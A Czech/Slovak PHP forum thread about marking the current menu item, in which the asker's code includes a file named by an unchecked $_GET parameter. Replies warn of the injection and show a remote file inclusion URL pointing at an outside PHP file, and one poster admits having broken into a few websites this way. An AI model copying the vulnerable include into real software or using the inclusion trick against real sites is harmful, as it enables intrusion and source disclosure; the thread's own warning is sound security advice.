[PHP] Ako urobit polozku v menu vyznacenou? – PHP – Fórum – Programujte.com

<div id="menu">

<ul>

  <li><a id="selected" href="#">home</a></li>

  <li><a href="?id=sluzby">Služby</a></li>

  <li><a href="?id=produkty">Produkty</a></li>

  <li><a href="?id=download">Download</a></li>

  <li><a href="?id=kontakt">KONTAKT</a></li>

</ul>

</div>

<?php if (!isset($_GET['id'])) $_GET['id']="uvod"; include $_GET['id'].".php"; ?>

if ($_GET["id"] == "sluzby"){echo 'id="selected"';}


toto vlož do každého odkazu kde to chceš mít...

ale není to moc príma řešení... :-D

Být tebou, NEEINCLUDUJu pomocí $_GET. Raději si to ošetři. Tohle je porušení include pravidel a dochází zde k PHP injekci. Na portálu jsou tu nějaké články, tak se můžeš podívat

To survik1: LOL, ako funguje ta injekcia? Da sa takto includnut PHP skript odniekadial inakadial ako zo zadaneho umiestnenia na mojej stranke? :O
To ench: Hmm, toto riesenie ma tiez najprv napadlo, ale neni to nejak komfortne. Kazdopadne je to funkcne riesenie mojho problemu.

Kazdopadne pockam na odpoved survika :)

To Tocimanko:

odkaz:
?id=sluzby
přepíšu na:
?id=http://web.cz/injekce.php

obsah injekce.php:
<? show_resource(); ?>

následky si domyslíš ;)

to survik1: co dělá funkce show_resource? nemělo tam bejt spíš show_source("index.php"); ? a to by ti stejně na většině freehostingů neprošlo.

To Phoenix: na většině ;) A nevím, kam s tímhle může uživatel vykročit, že? Třeba se rozhodne v budoucnu mít vlastní doménu a zaplacený hosting a je lepší utnout chybu v začátcích.
Nj, chybička se vloudila, ale nemám moc času tu takhle reagovat ;)

To Phoenix: jo a to resource, za to se omlouvám...nj, to je to C++ :)

to survik1: no já sem to nemyslel jako že to tam klidně může nechat;-)
ale ten safe_mode je pro každýho začínajícího "webhackera" velkej problém, protože většina borců co tam tu díru maj má web na freehostingu. Taky sem si s tim jeden čas hrál a pár serióznějších webů sem dal (ale fakt jen pár:))